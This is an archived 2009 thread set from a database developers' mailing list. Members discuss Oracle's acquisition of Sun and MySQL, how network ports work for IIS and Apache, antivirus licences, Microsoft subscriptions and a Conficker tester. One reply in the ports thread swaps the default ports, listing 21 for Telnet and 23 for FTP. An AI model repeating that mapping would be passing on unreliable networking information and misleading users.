Message-ID: <49EFC308.7040602@earthlink.net>

Hi Steve,

 >"Meanwhile Sun this week coincidently announced the preview of the next
 >release -- My SQL 5.4, which it says will be far more scalable than
 >the current version."

Yeah, /says/. The first release of 5.4 /is/ a sparse & unimpressive 
patchwork, though. And as Schwartz implies, why would Ellison help MySQL 
improve its upward scalability into the Oracle market sector?

PB

-----

Steve Erbach wrote:
> Arthur,
>
> FWIW, commentary from SQL Pro Insight magazine:
>
> What Will Oracle Do With MySQL?
> Microsoft and SQL Server are the real targets, not IBM.
>
> By Jeffrey Schwartz
>
> While there is no shortage of questions surrounding what Oracle has in
> store for Sun Microsystems, perhaps the most intriguing one is what
> Oracle will do with MySQL. Will it live or will Oracle, which gains
> MySQL as a result of its $7.4 billion acquisition of Sun, throw it
> under the bus?
>
> There is plenty of reason to believe Oracle would not want to in any
> way, shape or form let MySQL cannibalize the licensing revenues Oracle
> has enjoyed for so many years from its flagship proprietary database
> platform. There's the school of thought that Oracle doesn't walk the
> walk when it comes to open source.
>
> "While Oracle has displayed an ability to participate in and benefit
> from open source software, I think its expectations and aspirations
> for open source software are limited," wrote 451Group analyst Jay
> Lyman.
>
> But lest we forget, while Oracle CEO Larry Ellison talks up how
> acquiring Sun is a key entre for Oracle to further its assault on IBM,
> his real nemesis is Microsoft. While it is unlikely MySQL was a huge
> factor (perhaps not even a reason at all) in Oracle's decision to make
> its surprise bid, the company's decision to put some emphasis on the
> open source database could be an opportunity to go after Microsoft in
> a way it could never do with its flagship database.
>
> In fact, that's exactly what MySQL founder Marten Mickos told Forbes
> yesterday, arguing they serve two different application types.
> "Microsoft's database business is the fastest growing," Mickos told
> Forbes. "Oracle can use MySQL to achieve a stronger developer
> community."
>
> Forrester analyst Noel Yuhanna agrees. "If Oracle plays its cards
> right, this could be a great move, since it continues to struggle
> against Microsoft SQL Server especially in the small- to
> moderate-sized database market, where Microsoft SQL Server enjoys
> dominance," Yuhanna said in an e-mail. "A combination of MySQL and
> Oracle DBMS can cover all bases, and put MySQL against Microsoft SQL
> Server more competitively. Also, we see that as databases become more
> automated (which is already happening), the need for tighter
> integration with hardware and bundling will further grow -- therefore
> having a database appliance (database machine) will become critical."
>
> While the installed base of MySQL pales in comparison to SQL Server,
> Microsoft is well aware of the momentum around it and the open source
> database movement, especially for lower-end Web applications. That's
> why Microsoft has developed its own PHP Driver for SQL Server and last
> month released its PHP on Windows Training Kit, which includes
> technical material, best practices and code samples for building PHP
> applications that run on Windows, IIS 7 and SQL Server 2008.
>
> "Microsoft is going after those folks in a pretty serious way," said
> Andrew Brust, a director of new technology at twenty six New York, and
> a Microsoft regional director. "Read what you want into that but it
> shows how seriously Microsoft takes MySQL."
>
> While most MySQL applications are PHP-based, it also supports .NET
> applications, Brust noted. "MySQLhas done a pretty good job at working
> nicely with Windows and ADO.NET," he said. "But I think by and large
> it is PHP developers."
>
> According to Sun's internal surveys, SQL Server is the number one
> platform that customers migrate from when moving to MySQL, said Robin
> Schumacher, MySQL's director of product management. "People using
> MySQL on Windows makes a very nice alternative to SQL Server,"
> Schumacher said. For enterprise implementations, Linux is still the
> largest platform for MySQL "but Windows is right behind it," he added.
>
> "They have to see the value of MySQL in the ability for it to continue
> to gain on the SQL Server marketplace," added Ian Abramson, president
> of Independent Oracle Users Group (IOUG) and a director at
> Toronto-based Thoughtcorp, a data warehousing and BI consultancy, who
> said the Oracle user community welcomes MySQL joining the fold.
>
> Meanwhile Sun this week coincidently announced the preview of the next
> release -- My SQL 5.4, which it says will be far more scalable than
> the current version.
>
> What impact do you think Oracle's acquisition of Sun will have on
> MySQL, open source databases and SQL Server? Drop me a line at
> jschwartz at 1105media.com.
>
>
> Jeffrey Schwartz is editor of ADTmag.com and news editor of Visual
> Studio Magazine.
>
> Regards,
>
> Steve Erbach
> Neenah, WI
> http://www.NeenahPolitics.com
> http://www.TheTownCrank.com
>
>
> On Mon, Apr 20, 2009 at 9:00 AM, Arthur Fuller <fuller.artful at gmail.com> wrote:
>   
>> Today the announcement became official. See
>> http://www.sun.com/third-party/global/oracle/index.jsp.
>>
>> Arthur
>> _______________________________________________
>>     
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From fuller.artful at gmail.com  Thu Apr 23 09:27:30 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Thu, 23 Apr 2009 10:27:30 -0400
Subject: [dba-Tech] Question about Ports
Message-ID: <29f585dd0904230727u509b5a7co7d02f180f7bc16a7@mail.gmail.com>

I don't understand the concept of Ports except in the most basic sense. IIS
for example "Listens" on Port 80 by default. So if I switch the Port number
to, say, 8080, do I have to adjust senders to recognize this new port
assignment?

My situation is this: I run IIS on port 80 and Reporting Services works
fine. But then I also do some stuff in Ruby On Rails and its Apache server
also wants port 80. If I change the port number on one or the other web
server, do I have to communicate this info to the dependent programs, and if
so, how?

I hope I'm making this clear. What I do currently is shut down IIS before
switching to RoR, and I would much prefer to skip this step so that both
could run at once without collisions. In the RoR installation, Apache
listens on port 80. Would I have to inform MySQL to address a new port
number? I can see in the .conf file that it's easy to change the port
number. The part of the puzzle that I cannot fathom is how the Sender knows
what port to send to.

TIA,
Arthur


From Gustav at cactus.dk  Thu Apr 23 09:45:09 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Thu, 23 Apr 2009 16:45:09 +0200
Subject: [dba-Tech] Question about Ports
Message-ID: <s9f09b23.075@cactus.dk>

Hi Arthur

Replace "port" with "channel" or "line" and you may get a better picture.
The sender uses port 80 as default:

http://www.arthurs_iis.com:80 is equal to

http://www.arthurs_iis.com 

Thus, if you iis listens to port 8080:

http://www.arthurs_iis.com:8080

/gustav

>>> fuller.artful at gmail.com 23-04-2009 16:27 >>>
I don't understand the concept of Ports except in the most basic sense. IIS
for example "Listens" on Port 80 by default. So if I switch the Port number
to, say, 8080, do I have to adjust senders to recognize this new port
assignment?

My situation is this: I run IIS on port 80 and Reporting Services works
fine. But then I also do some stuff in Ruby On Rails and its Apache server
also wants port 80. If I change the port number on one or the other web
server, do I have to communicate this info to the dependent programs, and if
so, how?

I hope I'm making this clear. What I do currently is shut down IIS before
switching to RoR, and I would much prefer to skip this step so that both
could run at once without collisions. In the RoR installation, Apache
listens on port 80. Would I have to inform MySQL to address a new port
number? I can see in the .conf file that it's easy to change the port
number. The part of the puzzle that I cannot fathom is how the Sender knows
what port to send to.

TIA,
Arthur




From fuller.artful at gmail.com  Thu Apr 23 09:53:20 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Thu, 23 Apr 2009 10:53:20 -0400
Subject: [dba-Tech] Question about Ports
In-Reply-To: <s9f09b23.075@cactus.dk>
References: <s9f09b23.075@cactus.dk>
Message-ID: <29f585dd0904230753u6d6291edu61c38535ecd168b9@mail.gmail.com>

That part I understand. The conceptual problem I'm suffering is "How does
the sender know which port to send to?" Or does the sender merely send to
all available ports and somehow the receiver grabs the message?

A.


From stuart at lexacorp.com.pg  Thu Apr 23 10:00:23 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 24 Apr 2009 01:00:23 +1000
Subject: [dba-Tech] Question about Ports
In-Reply-To: <29f585dd0904230727u509b5a7co7d02f180f7bc16a7@mail.gmail.com>
References: <29f585dd0904230727u509b5a7co7d02f180f7bc16a7@mail.gmail.com>
Message-ID: <49F08287.32103.29F580B@stuart.lexacorp.com.pg>

Yes

Think of a port as a frequency or channel that the client and  server talk to each other over,

A "listener" application (server)  monitors a specific port for requests.
The "calling" application (client) has to send a properly formatted request to the server using 
the appropriate port.

There is no point in sending a request to a port which is not being monitored.

Ir's not a case of the sender "recognizing" the port, the sender has to know which port to 
"send" the request to.

In your case, you have two separate elements, Apache/Ruby and mySQL.  Changing th 
mySQL port will not have any effect on Apache.

Your client (web browser) sends a request to Apache on Port 80, This is processed by 
Apache/Ruby which needs to get data from mySQL. Ruby will send a request to mySQL on 
another port (default for mySQL is Port 3306).  mySQL will send the result back to Ruby on 
Port 3306 and Ruby/Apache will send the result back to your browser on Port 80.
 

You really don't want to change your HTTP Port to anything other than 80 - that is the 
standard which your web browser will be sending the HTTP requests on.

How about running Apache/Ruby.mySQL in a Virtual machine with a different IP address?


On 23 Apr 2009 at 10:27, Arthur Fuller wrote:

> I don't understand the concept of Ports except in the most basic sense. IIS
> for example "Listens" on Port 80 by default. So if I switch the Port number
> to, say, 8080, do I have to adjust senders to recognize this new port
> assignment?
> 
> My situation is this: I run IIS on port 80 and Reporting Services works
> fine. But then I also do some stuff in Ruby On Rails and its Apache server
> also wants port 80. If I change the port number on one or the other web
> server, do I have to communicate this info to the dependent programs, and if
> so, how?
> 
> I hope I'm making this clear. What I do currently is shut down IIS before
> switching to RoR, and I would much prefer to skip this step so that both
> could run at once without collisions. In the RoR installation, Apache
> listens on port 80. Would I have to inform MySQL to address a new port
> number? I can see in the .conf file that it's easy to change the port
> number. The part of the puzzle that I cannot fathom is how the Sender knows
> what port to send to.
> 
> TIA,
> Arthur
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com




From stuart at lexacorp.com.pg  Thu Apr 23 10:06:09 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 24 Apr 2009 01:06:09 +1000
Subject: [dba-Tech] Question about Ports
In-Reply-To: <29f585dd0904230753u6d6291edu61c38535ecd168b9@mail.gmail.com>
References: <s9f09b23.075@cactus.dk>,
	<29f585dd0904230753u6d6291edu61c38535ecd168b9@mail.gmail.com>
Message-ID: <49F083E1.3184.2A4A16A@stuart.lexacorp.com.pg>

The sender has to know which Port to send to.

There are standard "default" ports for common applications such as 21 for Telnet, 23 for 
FTP, 25 for SMTP, 80 fro HTTP,, 110 for POP3 etc.

For a none standard port, you need to reconfigure the "client" application (browser, FFTP 
client, email program etc) to use the different port.


On 23 Apr 2009 at 10:53, Arthur Fuller wrote:

> That part I understand. The conceptual problem I'm suffering is "How does
> the sender know which port to send to?" Or does the sender merely send to
> all available ports and somehow the receiver grabs the message?
> 
> A.
> _______________________________________________
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From Gustav at cactus.dk  Thu Apr 23 10:11:32 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Thu, 23 Apr 2009 17:11:32 +0200
Subject: [dba-Tech] Question about Ports
Message-ID: <s9f0a15f.078@cactus.dk>

Hi Arthur

It doesn't, the user who wishes to connect to your server must tell it if port is anything else than 80 - with a colon and the port number:

http://www.arthurs_iis.com  is equal to
http://www.arthurs_iis.com:80

Thus, if your iis listens to port 8080:
http://www.arthurs_iis.com:8080 

/gustav


>>> fuller.artful at gmail.com 23-04-2009 16:53 >>>
That part I understand. The conceptual problem I'm suffering is "How does
the sender know which port to send to?" Or does the sender merely send to
all available ports and somehow the receiver grabs the message?

A.





From peter.brawley at earthlink.net  Thu Apr 23 10:42:14 2009
From: peter.brawley at earthlink.net (Peter Brawley)
Date: Thu, 23 Apr 2009 10:42:14 -0500
Subject: [dba-Tech] Question about Ports
In-Reply-To: <29f585dd0904230727u509b5a7co7d02f180f7bc16a7@mail.gmail.com>
References: <29f585dd0904230727u509b5a7co7d02f180f7bc16a7@mail.gmail.com>
Message-ID: <49F08C56.6050407@earthlink.net>

To run Apache & IIS at the same time on the same box see 
http://blog.monochrome.co.uk/2006/06/running-apache-and-iis-6-together-on-the-same-server/

PB

Arthur Fuller wrote:
> I don't understand the concept of Ports except in the most basic sense. IIS
> for example "Listens" on Port 80 by default. So if I switch the Port number
> to, say, 8080, do I have to adjust senders to recognize this new port
> assignment?
>
> My situation is this: I run IIS on port 80 and Reporting Services works
> fine. But then I also do some stuff in Ruby On Rails and its Apache server
> also wants port 80. If I change the port number on one or the other web
> server, do I have to communicate this info to the dependent programs, and if
> so, how?
>
> I hope I'm making this clear. What I do currently is shut down IIS before
> switching to RoR, and I would much prefer to skip this step so that both
> could run at once without collisions. In the RoR installation, Apache
> listens on port 80. Would I have to inform MySQL to address a new port
> number? I can see in the .conf file that it's easy to change the port
> number. The part of the puzzle that I cannot fathom is how the Sender knows
> what port to send to.
>
> TIA,
> Arthur
> _______________________________________________
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From ssharkins at gmail.com  Fri Apr 24 09:15:25 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Fri, 24 Apr 2009 10:15:25 -0400
Subject: [dba-Tech] Viper license -- Hey John!
Message-ID: <ED56D2CF6C614F51BABD3D938C478884@SusanOne>

My Viper subscription is up. On my end, I've been really happy with it and 
intend to resub -- would that be your recommendation as well?

There's a coupon control -- anyone have a coupon code?

Susan H. 



From john at winhaven.net  Fri Apr 24 09:45:13 2009
From: john at winhaven.net (John Bartow)
Date: Fri, 24 Apr 2009 09:45:13 -0500
Subject: [dba-Tech] Viper license -- Hey John!
In-Reply-To: <ED56D2CF6C614F51BABD3D938C478884@SusanOne>
References: <ED56D2CF6C614F51BABD3D938C478884@SusanOne>
Message-ID: <024201c9c4eb$46508310$d2f18930$@net>

I'm glad to see it's been working for you. I recommend you resub. Right now
there's nothing else that will run lighter on a system than Vipre (BTW, did
you ever get more RAM?). I sure can tell the difference when I'm running it
versus testing things like AVG, Avira, Eset (which sells itself as light on
a system) and some of the other old kludgey standby's like Norton, McAfee,
and Trend. 

I just got a new client this week. Out of the blue an Auto dealership in the
city nearby called me. I never did get to ask them how they got my name.
Anyway they were having network issues and I cleared those up but noticed
they were running AVG free, AdAware and Spybot S&D. Standard fare for home
users but totally against the agreement of the free versions of these
products (beside the main point). I told them I recommend replacing all of
them with Vipre and they said do it and now all of their fairly old PCs work
better. In two hours I made a messed up network full of slow PCs sing again
- you can never get in tight with too many auto mechanics ;o)

I don't use the coupon code thing. If you want to resub you can open Vipre
and click the menu item Help | Register [Extend Subscription]. Or if the
time is near it will offer that link for you. It will be interesting to see
if I get credit for that as the original affiliate. Let me know when you do
it and I can check the logs to see.

The way I get credit for sure is if you go to my website and click a Vipre
link and then purchase a license. (If you are planning on using it on more
than one pc now would be the time to get a multi-user license). This would
be a brand new license number and I recommend if anyone does it this way
that you copy and paste that huge string of a registration key from the
final purchasing web page directly into Vipre's registration key number
field (found at: menu item Help | Register [Extend Subscription]

Pretty soon we'll be having a fund drive for DBA and it'll be interesting to
see how much I can donate just from these Vipre purchases. I'd guess it's
over $100.


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
Sent: Friday, April 24, 2009 9:15 AM
To: DBA Tech List
Subject: [dba-Tech] Viper license -- Hey John!

My Viper subscription is up. On my end, I've been really happy with it and 
intend to resub -- would that be your recommendation as well?

There's a coupon control -- anyone have a coupon code?

Susan H. 

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From marklbreen at gmail.com  Sat Apr 25 05:23:13 2009
From: marklbreen at gmail.com (Mark Breen)
Date: Sat, 25 Apr 2009 11:23:13 +0100
Subject: [dba-Tech] Interesting
In-Reply-To: <s9e0929c.090@cactus.dk>
References: <s9e0929c.090@cactus.dk>
Message-ID: <c7fd28d00904250323k3c4333a6h64817233940b3fda@mail.gmail.com>

When I was fifteen and had an Amstrad 64K computer with Basic as its
language, one of the first programs I wrote was a comparison between three
different sorting mechanisms.  I recall that I used the Bubble, the
Shell-Metzner and some other one.
This is a real trip down memory lane.

What I hate is that I seem to grasp the differences only partially, so that
means that I am getting older, I am becomming more stupid.

Oh well,


This website is a really good example if a clean and well thought out
application, IMO

Mark



2009/4/11 Gustav Brock <Gustav at cactus.dk>

> Hi Jim
>
> Thanks! Great fun and a good source.
>
> /gustav
>
> >>> accessd at shaw.ca 11-04-2009 03:21 >>>
> Hi All:
>
> If you were ever interested in sort algorithms this will definitely
> entertain and educate.
>
> For example, depending on the sort sample size and the type of grouping of
> the original data a Bubble sort many out perform a Quick sort.
>
> http://www.sorting-algorithms.com
>
> Jim
>
>
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From ssharkins at gmail.com  Sat Apr 25 09:37:45 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Sat, 25 Apr 2009 10:37:45 -0400
Subject: [dba-Tech] Outlook losing user response on custom form
Message-ID: <BE8E56FA095940B88ABA69F52B846956@SusanOne>

A reader has created a custom form that's working Okay. However, when the 
recipient responds, the response doesn't make it back to her.

Susan H. 



From erbachs at gmail.com  Sun Apr 26 11:24:47 2009
From: erbachs at gmail.com (Steve Erbach)
Date: Sun, 26 Apr 2009 11:24:47 -0500
Subject: [dba-Tech] Technet / MSDN / Power Pack
Message-ID: <39cb22f30904260924x73865df6gb118f030dd2923e3@mail.gmail.com>

Dear Group,

Just last night I discovered that Microsoft has a service on its
Technet site that gives you a year's subscription to all Microsoft
software for "evaluation" purposes.  $349 a year allows you to
download everything, including the Windows 7 Release Candidate,
Windows Server 2008, etc.

I wondered if any of you lot had a Technet subscription.  I believe
that Rocky has a Power Pack (?) subscription which is different.  Some
of you have MSDN subscriptions, too.  What do you think of them?  Have
they been worth it?

In '04 I found out from Hindman, I think, about the Microsoft ISV
program.  I was able to get a full Universal MSDN subscription with 5
licenses for Office, Windows, etc., for $295 a year for two years.
THAT was very, very handy.

I was considering setting up a Windows SBS 2008 or Windows Server 2008
as a Virtual PC on my system since it's got some fairly good oomph (8
GB RAM, dual core 3 GHz Intel processor, Raid 1 500 GB array).

Any thoughts about Technet?

Regards,

Steve Erbach
Neenah, WI
http://www.NeenahPolitics.com
http://www.TheTownCrank.com


From accessd at shaw.ca  Sun Apr 26 19:05:15 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Sun, 26 Apr 2009 17:05:15 -0700
Subject: [dba-Tech] Technet / MSDN / Power Pack
In-Reply-To: <39cb22f30904260924x73865df6gb118f030dd2923e3@mail.gmail.com>
References: <39cb22f30904260924x73865df6gb118f030dd2923e3@mail.gmail.com>
Message-ID: <D1F4D45DC75D483B83245532A8C2CABB@creativesystemdesigns.com>

My understanding was that this subscription was only available to
individuals who had successfully completed a series/single exam(s). This
limitation was added as some people were taking the subscriptions and
reselling the products... not particularly smart as it was so easy to
validate through MS updates.

I spent a couple of hours, one evening, trying to find the testing section
of the MS site after logging in.  I do not think I am particularly slow but
I could not work my way through the various web site settings and timing-out
pages so I gave up that idea. I guess that was the labyrinth part of the
test.

Maybe things have changed and if they have I would not mind continuing with
the subscription.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Steve Erbach
Sent: Sunday, April 26, 2009 9:25 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Technet / MSDN / Power Pack

Dear Group,

Just last night I discovered that Microsoft has a service on its
Technet site that gives you a year's subscription to all Microsoft
software for "evaluation" purposes.  $349 a year allows you to
download everything, including the Windows 7 Release Candidate,
Windows Server 2008, etc.

I wondered if any of you lot had a Technet subscription.  I believe
that Rocky has a Power Pack (?) subscription which is different.  Some
of you have MSDN subscriptions, too.  What do you think of them?  Have
they been worth it?

In '04 I found out from Hindman, I think, about the Microsoft ISV
program.  I was able to get a full Universal MSDN subscription with 5
licenses for Office, Windows, etc., for $295 a year for two years.
THAT was very, very handy.

I was considering setting up a Windows SBS 2008 or Windows Server 2008
as a Virtual PC on my system since it's got some fairly good oomph (8
GB RAM, dual core 3 GHz Intel processor, Raid 1 500 GB array).

Any thoughts about Technet?

Regards,

Steve Erbach
Neenah, WI
http://www.NeenahPolitics.com
http://www.TheTownCrank.com
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From Gustav at cactus.dk  Mon Apr 27 02:37:56 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Mon, 27 Apr 2009 09:37:56 +0200
Subject: [dba-Tech] Technet / MSDN / Power Pack
Message-ID: <s9f57d1b.021@cactus.dk>

Hi Jim and Steve

No, it not so. The Action Pack, MSAP, is available for professionals somehow dealing with MS software for a living.

This, however, doesn't provide developer tools - which in MS jargon is Visual Studio and Expression Suite. These are offered as part of the

  Special Edition Web Solutions Toolkit 

for which you have to pass an "exam" to gain access.
Read the old thread about this (some links only operational in IE):

  http://databaseadvisors.com/pipermail/accessd/2007-October/055800.html 

To obtain VS 2008 Standard this way will take some time but you can get started right away with the free Express edition.

/gustav


>>> accessd at shaw.ca 27-04-2009 02:05 >>>
My understanding was that this subscription was only available to
individuals who had successfully completed a series/single exam(s). This
limitation was added as some people were taking the subscriptions and
reselling the products... not particularly smart as it was so easy to
validate through MS updates.

I spent a couple of hours, one evening, trying to find the testing section
of the MS site after logging in.  I do not think I am particularly slow but
I could not work my way through the various web site settings and timing-out
pages so I gave up that idea. I guess that was the labyrinth part of the
test.

Maybe things have changed and if they have I would not mind continuing with
the subscription.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Steve Erbach
Sent: Sunday, April 26, 2009 9:25 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Technet / MSDN / Power Pack

Dear Group,

Just last night I discovered that Microsoft has a service on its
Technet site that gives you a year's subscription to all Microsoft
software for "evaluation" purposes.  $349 a year allows you to
download everything, including the Windows 7 Release Candidate,
Windows Server 2008, etc.

I wondered if any of you lot had a Technet subscription.  I believe
that Rocky has a Power Pack (?) subscription which is different.  Some
of you have MSDN subscriptions, too.  What do you think of them?  Have
they been worth it?

In '04 I found out from Hindman, I think, about the Microsoft ISV
program.  I was able to get a full Universal MSDN subscription with 5
licenses for Office, Windows, etc., for $295 a year for two years.
THAT was very, very handy.

I was considering setting up a Windows SBS 2008 or Windows Server 2008
as a Virtual PC on my system since it's got some fairly good oomph (8
GB RAM, dual core 3 GHz Intel processor, Raid 1 500 GB array).

Any thoughts about Technet?

Regards,

Steve Erbach
Neenah, WI
http://www.NeenahPolitics.com 
http://www.TheTownCrank.com 





From ssharkins at gmail.com  Mon Apr 27 08:54:32 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Mon, 27 Apr 2009 09:54:32 -0400
Subject: [dba-Tech] Zip filter not working in Word's merge feature
Message-ID: <342AEEBBFAC04A43A227D41C3F71636D@SusanOne>

A reader can't get the zip filter in Word's merge feature to work -- she's 
entering the zip, but Word's still printing everything. I've never used the 
feature and I guess I'm going do a little research looking for a bug. If 
anyone knows of one, please let me know.

Thanks!
Susan H. 



From accessd at shaw.ca  Mon Apr 27 12:24:30 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 27 Apr 2009 10:24:30 -0700
Subject: [dba-Tech] Technet / MSDN / Power Pack
In-Reply-To: <s9f57d1b.021@cactus.dk>
References: <s9f57d1b.021@cactus.dk>
Message-ID: <8B38B845876D4D009B8EA561B379EC61@creativesystemdesigns.com>

Thanks for the info Gustav. 

Found out about the IE (problem/design feature) right off. There are a lot
of sites now that are expecting IE only. There must be a host of features
only available through IE now... but have not done any research in that area
other than some JavaScript anomalies but most are easy to resolve.

That link is a little dated so it might not be accurate... but I will check
it out.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Monday, April 27, 2009 12:38 AM
To: dba-tech at databaseadvisors.com
Subject: Re: [dba-Tech] Technet / MSDN / Power Pack

Hi Jim and Steve

No, it not so. The Action Pack, MSAP, is available for professionals somehow
dealing with MS software for a living.

This, however, doesn't provide developer tools - which in MS jargon is
Visual Studio and Expression Suite. These are offered as part of the

  Special Edition Web Solutions Toolkit 

for which you have to pass an "exam" to gain access.
Read the old thread about this (some links only operational in IE):

  http://databaseadvisors.com/pipermail/accessd/2007-October/055800.html 

To obtain VS 2008 Standard this way will take some time but you can get
started right away with the free Express edition.

/gustav


>>> accessd at shaw.ca 27-04-2009 02:05 >>>
My understanding was that this subscription was only available to
individuals who had successfully completed a series/single exam(s). This
limitation was added as some people were taking the subscriptions and
reselling the products... not particularly smart as it was so easy to
validate through MS updates.

I spent a couple of hours, one evening, trying to find the testing section
of the MS site after logging in.  I do not think I am particularly slow but
I could not work my way through the various web site settings and timing-out
pages so I gave up that idea. I guess that was the labyrinth part of the
test.

Maybe things have changed and if they have I would not mind continuing with
the subscription.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Steve Erbach
Sent: Sunday, April 26, 2009 9:25 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Technet / MSDN / Power Pack

Dear Group,

Just last night I discovered that Microsoft has a service on its
Technet site that gives you a year's subscription to all Microsoft
software for "evaluation" purposes.  $349 a year allows you to
download everything, including the Windows 7 Release Candidate,
Windows Server 2008, etc.

I wondered if any of you lot had a Technet subscription.  I believe
that Rocky has a Power Pack (?) subscription which is different.  Some
of you have MSDN subscriptions, too.  What do you think of them?  Have
they been worth it?

In '04 I found out from Hindman, I think, about the Microsoft ISV
program.  I was able to get a full Universal MSDN subscription with 5
licenses for Office, Windows, etc., for $295 a year for two years.
THAT was very, very handy.

I was considering setting up a Windows SBS 2008 or Windows Server 2008
as a Virtual PC on my system since it's got some fairly good oomph (8
GB RAM, dual core 3 GHz Intel processor, Raid 1 500 GB array).

Any thoughts about Technet?

Regards,

Steve Erbach
Neenah, WI
http://www.NeenahPolitics.com 
http://www.TheTownCrank.com 



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From accessd at shaw.ca  Mon Apr 27 13:14:57 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 27 Apr 2009 11:14:57 -0700
Subject: [dba-Tech] Conficker tester
In-Reply-To: <8B38B845876D4D009B8EA561B379EC61@creativesystemdesigns.com>
References: <s9f57d1b.021@cactus.dk>
	<8B38B845876D4D009B8EA561B379EC61@creativesystemdesigns.com>
Message-ID: <DBF36F3FE3E14117A781BD54D3210434@creativesystemdesigns.com>

Hi All:

The Conficker testers in now up on the DBA web site
(http://www.databaseadvisors.com). (Thank you Stewart) It was a bit of a
bear as it took a while to translate to DIV/CSS from TABLE tags and testing
it in various browsers (each one displays things slightly differently) but
it should all work now.

If not send me an email.

Jim



From accessd at shaw.ca  Mon Apr 27 14:55:55 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 27 Apr 2009 12:55:55 -0700
Subject: [dba-Tech] Will Oracle continue wit a number of very interesting
	Sun projects
In-Reply-To: <DBF36F3FE3E14117A781BD54D3210434@creativesystemdesigns.com>
References: <s9f57d1b.021@cactus.dk>
	<8B38B845876D4D009B8EA561B379EC61@creativesystemdesigns.com>
	<DBF36F3FE3E14117A781BD54D3210434@creativesystemdesigns.com>
Message-ID: <F582F1EFCEDD48F8850E0545DB7996D4@creativesystemdesigns.com>

I wonder if Oracle with continue to fund a number of the more interesting
Sun projects. I was looking through the free Oracle periodical and even
though much of the copy was filled with articles on their acquisition there
was no mention about JavaFX, Project Looking Glass, and Project GlassFish.

Jim 



From rockysmolin at bchacc.com  Wed Apr 29 10:15:00 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 29 Apr 2009 08:15:00 -0700
Subject: [dba-Tech] Down It Comes!
Message-ID: <E03B1F1301284583B455F8FE6EA835E1@HAL9005>


1.5TB Seagate external HDD - $117 today at FRY's.  Don't forget to get an
extra one.

Rocky

 




From accessd at shaw.ca  Wed Apr 29 10:25:53 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Wed, 29 Apr 2009 08:25:53 -0700
Subject: [dba-Tech] Down It Comes!
In-Reply-To: <E03B1F1301284583B455F8FE6EA835E1@HAL9005>
References: <E03B1F1301284583B455F8FE6EA835E1@HAL9005>
Message-ID: <A2BEC117EAFF4BE6B1A0A2979A2ECECB@creativesystemdesigns.com>

Send a couple this way. ;-) Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Wednesday, April 29, 2009 8:15 AM
To: List; 'Access Developers discussion and problem solving'
Subject: [dba-Tech] Down It Comes!


1.5TB Seagate external HDD - $117 today at FRY's.  Don't forget to get an
extra one.

Rocky

 


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From tinanfields at torchlake.com  Thu Apr 30 09:18:17 2009
From: tinanfields at torchlake.com (Tina Norris Fields)
Date: Thu, 30 Apr 2009 10:18:17 -0400
Subject: [dba-Tech] Conficker tester
In-Reply-To: <DBF36F3FE3E14117A781BD54D3210434@creativesystemdesigns.com>
References: <s9f57d1b.021@cactus.dk><8B38B845876D4D009B8EA561B379EC61@creativesystemdesigns.com>
	<DBF36F3FE3E14117A781BD54D3210434@creativesystemdesigns.com>
Message-ID: <49F9B329.2040202@torchlake.com>

Great job!
T

Jim Lawrence wrote:
> Hi All:
>
> The Conficker testers in now up on the DBA web site
> (http://www.databaseadvisors.com). (Thank you Stewart) It was a bit of a
> bear as it took a while to translate to DIV/CSS from TABLE tags and testing
> it in various browsers (each one displays things slightly differently) but
> it should all work now.
>
> If not send me an email.
>
> Jim
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
>   


From fuller.artful at gmail.com  Thu Apr 30 17:12:33 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Thu, 30 Apr 2009 18:12:33 -0400
Subject: [dba-Tech] Language Question: Anyone on the list speak Japanese?
Message-ID: <29f585dd0904301512tf0ba8efu8e15a92b0efba51f@mail.gmail.com>

A friend and I are discussing Japanese pronunciation, specifically on the
word "Yakuza". He insists that it is prounounced "yaKUza" while I maintain
that the proper pronunciation is "YAkuza".

Can any lister adjudicate this?

TIA,
Arthur


From stuart at lexacorp.com.pg  Thu Apr 30 17:24:45 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Fri, 01 May 2009 08:24:45 +1000
Subject: [dba-Tech] Language Question: Anyone on the list speak Japanese?
In-Reply-To: <29f585dd0904301512tf0ba8efu8e15a92b0efba51f@mail.gmail.com>
References: <29f585dd0904301512tf0ba8efu8e15a92b0efba51f@mail.gmail.com>
